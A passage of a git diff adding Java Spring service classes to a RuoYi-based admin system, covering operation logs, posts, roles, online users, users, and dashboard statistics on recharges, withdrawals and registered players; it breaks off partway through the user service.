com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.system.domain.SysOperLog; +import com.ruoyi.system.mapper.SysOperLogMapper; +import com.ruoyi.system.service.ISysOperLogService; + +/** + * 操作日志 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysOperLogServiceImpl implements ISysOperLogService +{ + @Autowired + private SysOperLogMapper operLogMapper; + + /** + * 新增操作日志 + * + * @param operLog 操作日志对象 + */ + @Override + public void insertOperlog(SysOperLog operLog) + { + operLogMapper.insertOperlog(operLog); + } + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + @Override + public List selectOperLogList(SysOperLog operLog) + { + return operLogMapper.selectOperLogList(operLog); + } + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + @Override + public int deleteOperLogByIds(Long[] operIds) + { + return operLogMapper.deleteOperLogByIds(operIds); + } + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + @Override + public SysOperLog selectOperLogById(Long operId) + { + return operLogMapper.selectOperLogById(operId); + } + + /** + * 清空操作日志 + */ + @Override + public void cleanOperLog() + { + operLogMapper.cleanOperLog(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java new file mode 100644 index 0000000..5e5fe06 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java @@ -0,0 +1,178 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysPost; +import com.ruoyi.system.mapper.SysPostMapper; +import com.ruoyi.system.mapper.SysUserPostMapper; +import com.ruoyi.system.service.ISysPostService; + +/** + * 岗位信息 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysPostServiceImpl implements ISysPostService +{ + @Autowired + private SysPostMapper postMapper; + + @Autowired + private SysUserPostMapper userPostMapper; + + /** + * 查询岗位信息集合 + * + * @param post 岗位信息 + * @return 岗位信息集合 + */ + @Override + public List selectPostList(SysPost post) + { + return postMapper.selectPostList(post); + } + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + @Override + public List selectPostAll() + { + return postMapper.selectPostAll(); + } + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + @Override + public SysPost selectPostById(Long postId) + { + return postMapper.selectPostById(postId); + } + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + @Override + public List selectPostListByUserId(Long userId) + { + return postMapper.selectPostListByUserId(userId); + } + + /** + * 校验岗位名称是否唯一 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public boolean checkPostNameUnique(SysPost post) + { + Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId(); + SysPost info = postMapper.checkPostNameUnique(post.getPostName()); + if (StringUtils.isNotNull(info) && info.getPostId().longValue() != postId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验岗位编码是否唯一 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public boolean checkPostCodeUnique(SysPost post) + { + Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId(); + SysPost info = postMapper.checkPostCodeUnique(post.getPostCode()); + if (StringUtils.isNotNull(info) && info.getPostId().longValue() != postId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + @Override + public int countUserPostById(Long postId) + { + return userPostMapper.countUserPostById(postId); + } + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + @Override + public int deletePostById(Long postId) + { + return postMapper.deletePostById(postId); + } + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + @Override + public int deletePostByIds(Long[] postIds) + { + for (Long postId : postIds) + { + SysPost post = selectPostById(postId); + if (countUserPostById(postId) > 0) + { + throw new ServiceException(String.format("%1$s已分配,不能删除", post.getPostName())); + } + } + return postMapper.deletePostByIds(postIds); + } + + /** + * 新增保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public int insertPost(SysPost post) + { + return postMapper.insertPost(post); + } + + /** + * 修改保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + @Override + public int updatePost(SysPost post) + { + return postMapper.updatePost(post); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java new file mode 100644 index 0000000..74350ad --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java @@ -0,0 +1,427 @@ +package com.ruoyi.system.service.impl; + +import java.util.*; + +import com.github.pagehelper.util.StringUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.domain.SysRoleDept; +import com.ruoyi.system.domain.SysRoleMenu; +import com.ruoyi.system.domain.SysUserRole; +import com.ruoyi.system.mapper.SysRoleDeptMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.mapper.SysRoleMenuMapper; +import com.ruoyi.system.mapper.SysUserRoleMapper; +import com.ruoyi.system.service.ISysRoleService; + +/** + * 角色 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysRoleServiceImpl implements ISysRoleService +{ + @Autowired + private SysRoleMapper roleMapper; + + @Autowired + private SysRoleMenuMapper roleMenuMapper; + + @Autowired + private SysUserRoleMapper userRoleMapper; + + @Autowired + private SysRoleDeptMapper roleDeptMapper; + + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + @Override + @DataScope(deptAlias = "d") + public List selectRoleList(SysRole role) + { + SysUser user = SecurityUtils.getLoginUser().getUser(); + if (Objects.nonNull(user) && StringUtil.isNotEmpty(user.getUserType()) && user.getUserType().indexOf("0")==-1){ + role.setCreateBy(user.getUserName()); +// role.setUserId(user.getUserId()); + } + return roleMapper.selectRoleList(role); + } + + /** + * 根据用户ID查询角色 + * + * @param userId 用户ID + * @return 角色列表 + */ + @Override + public List selectRolesByUserId(Long userId) + { + List userRoles = roleMapper.selectRolePermissionByUserId(userId); + List roles = selectRoleAll(); + for (SysRole role : roles) + { + for (SysRole userRole : userRoles) + { + if (role.getRoleId().longValue() == userRole.getRoleId().longValue()) + { + role.setFlag(true); + break; + } + } + } + return roles; + } + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + @Override + public Set selectRolePermissionByUserId(Long userId) + { + List perms = roleMapper.selectRolePermissionByUserId(userId); + Set permsSet = new HashSet<>(); + for (SysRole perm : perms) + { + if (StringUtils.isNotNull(perm)) + { + permsSet.addAll(Arrays.asList(perm.getRoleKey().trim().split(","))); + } + } + return permsSet; + } + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + @Override + public List selectRoleAll() + { + return SpringUtils.getAopProxy(this).selectRoleList(new SysRole()); + } + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + @Override + public List selectRoleListByUserId(Long userId) + { + return roleMapper.selectRoleListByUserId(userId); + } + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + @Override + public SysRole selectRoleById(Long roleId) + { + return roleMapper.selectRoleById(roleId); + } + + /** + * 校验角色名称是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public boolean checkRoleNameUnique(SysRole role) + { + Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId(); + SysRole info = roleMapper.checkRoleNameUnique(role.getRoleName()); + if (StringUtils.isNotNull(info) && info.getRoleId().longValue() != roleId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验角色权限是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public boolean checkRoleKeyUnique(SysRole role) + { + Long roleId = StringUtils.isNull(role.getRoleId()) ? -1L : role.getRoleId(); + SysRole info = roleMapper.checkRoleKeyUnique(role.getRoleKey()); + if (StringUtils.isNotNull(info) && info.getRoleId().longValue() != roleId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验角色是否允许操作 + * + * @param role 角色信息 + */ + @Override + public void checkRoleAllowed(SysRole role) + { + if (StringUtils.isNotNull(role.getRoleId()) && role.isAdmin()) + { + throw new ServiceException("不允许操作超级管理员角色"); + } + } + + /** + * 校验角色是否有数据权限 + * + * @param roleId 角色id + */ + @Override + public void checkRoleDataScope(Long roleId) + { + if (!SysUser.isAdmin(SecurityUtils.getUserId())) + { + SysRole role = new SysRole(); + role.setRoleId(roleId); + List roles = SpringUtils.getAopProxy(this).selectRoleList(role); + if (StringUtils.isEmpty(roles)) + { + throw new ServiceException("没有权限访问角色数据!"); + } + } + } + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + @Override + public int countUserRoleByRoleId(Long roleId) + { + return userRoleMapper.countUserRoleByRoleId(roleId); + } + + /** + * 新增保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + @Transactional + public int insertRole(SysRole role) + { + // 新增角色信息 + roleMapper.insertRole(role); + return insertRoleMenu(role); + } + + /** + * 修改保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + @Transactional + public int updateRole(SysRole role) + { + // 修改角色信息 + roleMapper.updateRole(role); + // 删除角色与菜单关联 + roleMenuMapper.deleteRoleMenuByRoleId(role.getRoleId()); + return insertRoleMenu(role); + } + + /** + * 修改角色状态 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + public int updateRoleStatus(SysRole role) + { + return roleMapper.updateRole(role); + } + + /** + * 修改数据权限信息 + * + * @param role 角色信息 + * @return 结果 + */ + @Override + @Transactional + public int authDataScope(SysRole role) + { + // 修改角色信息 + roleMapper.updateRole(role); + // 删除角色与部门关联 + roleDeptMapper.deleteRoleDeptByRoleId(role.getRoleId()); + // 新增角色和部门信息(数据权限) + return insertRoleDept(role); + } + + /** + * 新增角色菜单信息 + * + * @param role 角色对象 + */ + public int insertRoleMenu(SysRole role) + { + int rows = 1; + // 新增用户与角色管理 + List list = new ArrayList(); + for (Long menuId : role.getMenuIds()) + { + SysRoleMenu rm = new SysRoleMenu(); + rm.setRoleId(role.getRoleId()); + rm.setMenuId(menuId); + list.add(rm); + } + if (list.size() > 0) + { + rows = roleMenuMapper.batchRoleMenu(list); + } + return rows; + } + + /** + * 新增角色部门信息(数据权限) + * + * @param role 角色对象 + */ + public int insertRoleDept(SysRole role) + { + int rows = 1; + // 新增角色与部门(数据权限)管理 + List list = new ArrayList(); + for (Long deptId : role.getDeptIds()) + { + SysRoleDept rd = new SysRoleDept(); + rd.setRoleId(role.getRoleId()); + rd.setDeptId(deptId); + list.add(rd); + } + if (list.size() > 0) + { + rows = roleDeptMapper.batchRoleDept(list); + } + return rows; + } + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + @Override + @Transactional + public int deleteRoleById(Long roleId) + { + // 删除角色与菜单关联 + roleMenuMapper.deleteRoleMenuByRoleId(roleId); + // 删除角色与部门关联 + roleDeptMapper.deleteRoleDeptByRoleId(roleId); + return roleMapper.deleteRoleById(roleId); + } + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + @Override + @Transactional + public int deleteRoleByIds(Long[] roleIds) + { + for (Long roleId : roleIds) + { + checkRoleAllowed(new SysRole(roleId)); + checkRoleDataScope(roleId); + SysRole role = selectRoleById(roleId); + if (countUserRoleByRoleId(roleId) > 0) + { + throw new ServiceException(String.format("%1$s已分配,不能删除", role.getRoleName())); + } + } + // 删除角色与菜单关联 + roleMenuMapper.deleteRoleMenu(roleIds); + // 删除角色与部门关联 + roleDeptMapper.deleteRoleDept(roleIds); + return roleMapper.deleteRoleByIds(roleIds); + } + + /** + * 取消授权用户角色 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + @Override + public int deleteAuthUser(SysUserRole userRole) + { + return userRoleMapper.deleteUserRoleInfo(userRole); + } + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要取消授权的用户数据ID + * @return 结果 + */ + @Override + public int deleteAuthUsers(Long roleId, Long[] userIds) + { + return userRoleMapper.deleteUserRoleInfos(roleId, userIds); + } + + /** + * 批量选择授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要授权的用户数据ID + * @return 结果 + */ + @Override + public int insertAuthUsers(Long roleId, Long[] userIds) + { + // 新增用户与角色管理 + List list = new ArrayList(); + for (Long userId : userIds) + { + SysUserRole ur = new SysUserRole(); + ur.setUserId(userId); + ur.setRoleId(roleId); + list.add(ur); + } + return userRoleMapper.batchUserRole(list); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysStatisticsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysStatisticsServiceImpl.java new file mode 100644 index 0000000..4919010 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysStatisticsServiceImpl.java @@ -0,0 +1,216 @@ +package com.ruoyi.system.service.impl; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.vo.SysDataVO; +import com.ruoyi.bussiness.mapper.TAppRechargeMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TWithdrawMapper; +import com.ruoyi.common.enums.RecoenOrderStatusEmun; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.system.service.ISysStatisticsService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.function.Supplier; +import java.util.stream.Collectors; + +/** + * 系统首页数据统计 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysStatisticsServiceImpl implements ISysStatisticsService { + @Autowired + private TAppRechargeMapper rechargeMapper; + + @Autowired + private TWithdrawMapper withdrawMapper; + + @Autowired + private TAppUserMapper userMapper; + + @Override + public List getDataList(String parentId) { + List resultList = new ArrayList<>(); + List dateList = this.recentDays(7); + Supplier factory = SysDataVO::new; + SysDataVO rechargeVO; + BigDecimal allRecharge = rechargeMapper.getAllRecharge(parentId, RecordEnum.RECHARGE.getCode()); + //allRecharge = allRecharge == null ? BigDecimal.ZERO : allRecharge; + BigDecimal allWithdraw = withdrawMapper.getAllWithdraw(parentId, RecordEnum.WITHDRAW.getCode()); + //allWithdraw = allWithdraw == null ? BigDecimal.ZERO : allWithdraw; + //一周充值数据 + Map redLine = this.weekRecharge(parentId, RecoenOrderStatusEmun.pass.getCode()); + //一周提现数据 + Map blueLine = this.weekWithdraw(parentId, RecoenOrderStatusEmun.pass.getCode()); + //查询平台总收入 + rechargeVO = factory.get(); + rechargeVO.setTotalNum(allRecharge.subtract(allWithdraw).setScale(2, RoundingMode.HALF_UP)); + this.getTotalRevenueOfPlatform(resultList, dateList, rechargeVO, redLine, blueLine); + //查询平台玩家数量 + rechargeVO = factory.get(); + this.getUserNum(parentId, resultList, dateList, rechargeVO); + //查询平台总充值金额 + rechargeVO = factory.get(); + rechargeVO.setTotalNum(allRecharge.setScale(2, RoundingMode.HALF_UP)); + rechargeVO.setRedLine(redLine); + this.getRechargeOfPlatform(parentId, resultList, dateList, rechargeVO); + //查询平台总提现金额 + rechargeVO = factory.get(); + rechargeVO.setTotalNum(allWithdraw.setScale(2, RoundingMode.HALF_UP)); + rechargeVO.setRedLine(blueLine); + this.getWithdrawOfPlatform(parentId, resultList, dateList, rechargeVO); + + return resultList; + } + + /** + * 查询平台总收入 + */ + private void getTotalRevenueOfPlatform(List resultList, List dateList, + SysDataVO rechargeVO, Map redLine, Map blueLine) { + rechargeVO.setTitle(1); + rechargeVO.setRedLineName("充值"); + rechargeVO.setBlueLineName("提现"); + dateList.forEach(str -> { + if (!redLine.containsKey(str)) { + redLine.put(str, 0L); + } + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setRedLine(redLine); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 查询平台玩家数量 + */ + private void getUserNum(String parentId, List resultList, List dateList, SysDataVO rechargeVO) { + Date now = DateUtils.dateFormatDay(new Date(), -6); + rechargeVO.setTitle(2); + TAppUser tAppUser = new TAppUser(); + tAppUser.setIsTest(0); + tAppUser.setAdminParentIds(parentId); + List tAppUsers = userMapper.selectTAppUserList(tAppUser); + rechargeVO.setTotalNum(new BigDecimal(tAppUsers.size()).stripTrailingZeros()); + rechargeVO.setRedLineName("注册"); + rechargeVO.setBlueLineName("冻结"); + tAppUsers = tAppUsers.stream().filter(user -> user.getCreateTime().getTime() > now.getTime()) + .collect(Collectors.toList()); + Map redLine = tAppUsers.stream().filter(user -> user.getStatus() == 0) + .collect(Collectors.groupingBy(user -> DateUtils.dateTime(user.getCreateTime()), Collectors.counting())); + Map blueLine = tAppUsers.stream().filter(user -> user.getStatus() != 0) + .collect(Collectors.groupingBy(user -> DateUtils.dateTime(user.getCreateTime()), Collectors.counting())); + dateList.forEach(str -> { + if (!redLine.containsKey(str)) { + redLine.put(str, 0L); + } + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setRedLine(redLine); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 查询平台总充值金额 + */ + private void getRechargeOfPlatform(String parentId, List resultList, List dateList, SysDataVO rechargeVO) { + rechargeVO.setTitle(3); + rechargeVO.setRedLineName("充值成功"); + rechargeVO.setBlueLineName("充值失败"); + //充值失败 + Map blueLine = this.weekRecharge(parentId, RecoenOrderStatusEmun.failed.getCode()); + dateList.forEach(str -> { + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 查询平台总提现金额 + */ + private void getWithdrawOfPlatform(String parentId, List resultList, List dateList, SysDataVO rechargeVO) { + rechargeVO.setTitle(4); + rechargeVO.setRedLineName("提现成功"); + rechargeVO.setBlueLineName("提现失败"); + //提现失败 + Map blueLine = this.weekWithdraw(parentId, RecoenOrderStatusEmun.failed.getCode()); + dateList.forEach(str -> { + if (!blueLine.containsKey(str)) { + blueLine.put(str, 0L); + } + }); + rechargeVO.setBlueLine(blueLine); + resultList.add(rechargeVO); + } + + /** + * 一周充值数据 + */ + private Map weekRecharge(String parentId, String type) { + Map returnMap; + List> recharge; + if ("1".equals(type)) { + recharge = rechargeMapper.getWeekRecharge(parentId); + } else { + recharge = rechargeMapper.getWeekFailedRecharge(parentId); + } + if (!CollectionUtils.isEmpty(recharge)) { + returnMap = recharge.stream() + .collect(Collectors.toMap(map -> (String) map.get("createTime"), map -> map.get("recharge"))); + } else { + returnMap = new HashMap<>(12); + } + return returnMap; + } + + /** + * 一周提现数据 + */ + private Map weekWithdraw(String parentId, String type) { + Map returnMap; + List> withdraw; + if ("1".equals(type)) { + withdraw = withdrawMapper.getWeekWithdraw(parentId); + } else { + withdraw = withdrawMapper.getWeekFailedWithdraw(parentId); + } + if (!CollectionUtils.isEmpty(withdraw)) { + returnMap = withdraw.stream() + .collect(Collectors.toMap(map -> map.get("createTime").toString(), map -> map.get("withdraw"))); + } else { + returnMap = new HashMap<>(12); + } + return returnMap; + } + + /** + * 查询近几天的日期 + * + * @param days 天数 + * @return + */ + private List recentDays(int days) { + List dateList = new ArrayList<>(); + for (int i = 0; i < days; i++) { + dateList.add(DateUtils.parseDateToStr("yyyy-MM-dd", DateUtils.dateFormatDay(new Date(), -i))); + } + return dateList; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserOnlineServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserOnlineServiceImpl.java new file mode 100644 index 0000000..f80a877 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserOnlineServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.system.service.impl; + +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysUserOnline; +import com.ruoyi.system.service.ISysUserOnlineService; + +/** + * 在线用户 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysUserOnlineServiceImpl implements ISysUserOnlineService +{ + /** + * 通过登录地址查询信息 + * + * @param ipaddr 登录地址 + * @param user 用户信息 + * @return 在线用户信息 + */ + @Override + public SysUserOnline selectOnlineByIpaddr(String ipaddr, LoginUser user) + { + if (StringUtils.equals(ipaddr, user.getIpaddr())) + { + return loginUserToUserOnline(user); + } + return null; + } + + /** + * 通过用户名称查询信息 + * + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + @Override + public SysUserOnline selectOnlineByUserName(String userName, LoginUser user) + { + if (StringUtils.equals(userName, user.getUsername())) + { + return loginUserToUserOnline(user); + } + return null; + } + + /** + * 通过登录地址/用户名称查询信息 + * + * @param ipaddr 登录地址 + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + @Override + public SysUserOnline selectOnlineByInfo(String ipaddr, String userName, LoginUser user) + { + if (StringUtils.equals(ipaddr, user.getIpaddr()) && StringUtils.equals(userName, user.getUsername())) + { + return loginUserToUserOnline(user); + } + return null; + } + + /** + * 设置在线用户信息 + * + * @param user 用户信息 + * @return 在线用户 + */ + @Override + public SysUserOnline loginUserToUserOnline(LoginUser user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUser())) + { + return null; + } + SysUserOnline sysUserOnline = new SysUserOnline(); + sysUserOnline.setTokenId(user.getToken()); + sysUserOnline.setUserName(user.getUsername()); + sysUserOnline.setIpaddr(user.getIpaddr()); + sysUserOnline.setLoginLocation(user.getLoginLocation()); + sysUserOnline.setBrowser(user.getBrowser()); + sysUserOnline.setOs(user.getOs()); + sysUserOnline.setLoginTime(user.getLoginTime()); + if (StringUtils.isNotNull(user.getUser().getDept())) + { + sysUserOnline.setDeptName(user.getUser().getDept().getDeptName()); + } + return sysUserOnline; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java new file mode 100644 index 0000000..e316fd2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java @@ -0,0 +1,625 @@ +package com.ruoyi.system.service.impl; + +import java.util.*; +import java.util.stream.Collectors; +import javax.annotation.Resource; +import javax.validation.Validator; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.github.pagehelper.util.StringUtil; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.utils.DateUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.bean.BeanValidators; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.domain.SysPost; +import com.ruoyi.system.domain.SysUserPost; +import com.ruoyi.system.domain.SysUserRole; +import com.ruoyi.system.mapper.SysPostMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.mapper.SysUserMapper; +import com.ruoyi.system.mapper.SysUserPostMapper; +import com.ruoyi.system.mapper.SysUserRoleMapper; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 用户 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysUserServiceImpl implements ISysUserService +{ + private static final Logger log = LoggerFactory.getLogger(SysUserServiceImpl.class); + + @Autowired + private SysUserMapper userMapper; + + @Autowired + private SysRoleMapper roleMapper; + + @Autowired + private SysPostMapper postMapper; + + @Autowired + private SysUserRoleMapper userRoleMapper; + + @Autowired + private SysUserPostMapper userPostMapper; + + @Autowired + private ISysConfigService configService; + + @Autowired + protected Validator validator; + + @Resource + private ITAppUserService tAppUserService; + + /** + * 根据条件分页查询用户列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + @DataScope(deptAlias = "d", userAlias = "u") + public List selectUserList(SysUser user) + { + SysUser me = SecurityUtils.getLoginUser().getUser(); + if (Objects.nonNull(me) && StringUtil.isNotEmpty(me.getUserType()) && me.getUserType().indexOf("0")==-1){ + Map params = new HashMap<>(); + params.put("userId",me.getUserId()); + user.setParams(params); + } + return userMapper.selectUserList(user); + } + + /** + * 根据条件分页查询已分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + @DataScope(deptAlias = "d", userAlias = "u") + public List selectAllocatedList(SysUser user) + { + return userMapper.selectAllocatedList(user); + } + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + @DataScope(deptAlias = "d", userAlias = "u") + public List selectUnallocatedList(SysUser user) + { + return userMapper.selectUnallocatedList(user); + } + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + @Override + public SysUser selectUserByUserName(String userName) + { + return userMapper.selectUserByUserName(userName); + } + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + @Override + public SysUser selectUserById(Long userId) + { + return userMapper.selectUserById(userId); + } + + /** + * 查询用户所属角色组 + * + * @param userName 用户名 + * @return 结果 + */ + @Override + public String selectUserRoleGroup(String userName) + { + List list = roleMapper.selectRolesByUserName(userName); + if (CollectionUtils.isEmpty(list)) + { + return StringUtils.EMPTY; + } + return list.stream().map(SysRole::getRoleName).collect(Collectors.joining(",")); + } + + /** + * 查询用户所属岗位组 + * + * @param userName 用户名 + * @return 结果 + */ + @Override + public String selectUserPostGroup(String userName) + { + List list = postMapper.selectPostsByUserName(userName); + if (CollectionUtils.isEmpty(list)) + { + return StringUtils.EMPTY; + } + return list.stream().map(SysPost::getPostName).collect(Collectors.joining(",")); + } + + /** + * 校验用户名称是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public boolean checkUserNameUnique(SysUser user) + { + Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId(); + SysUser info = userMapper.checkUserNameUnique(user.getUserName()); + if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验手机号码是否唯一 + * + * @param user 用户信息 + * @return + */ + @Override + public boolean checkPhoneUnique(SysUser user) + { + Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId(); + SysUser info = userMapper.checkPhoneUnique(user.getPhonenumber()); + if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验email是否唯一 + * + * @param user 用户信息 + * @return + */ + @Override + public boolean checkEmailUnique(SysUser user) + { + Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId(); + SysUser info = userMapper.checkEmailUnique(user.getEmail()); + if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验用户是否允许操作 + * + * @param user 用户信息 + */ + @Override + public void checkUserAllowed(SysUser user) + { + if (StringUtils.isNotNull(user.getUserId()) && user.isAdmin()) + { + throw new ServiceException("不允许操作超级管理员用户"); + } + } + + /** + * 校验用户是否有数据权限 + * + * @param userId 用户id + */ + @Override + public void checkUserDataScope(Long userId) + { + if (!SysUser.isAdmin(SecurityUtils.getUserId())) + { + SysUser user = new SysUser(); + user.setUserId(userId); + List users = SpringUtils.getAopProxy(this).selectUserList(user); + if (StringUtils.isEmpty(users)) + { + throw new ServiceException("没有权限访问用户数据!"); + } + } + } + + /** + * 新增保存用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @Transactional + public int insertUser(SysUser user) + { + SysUser me = SecurityUtils.getLoginUser().getUser(); + if (Objects.nonNull(me) && 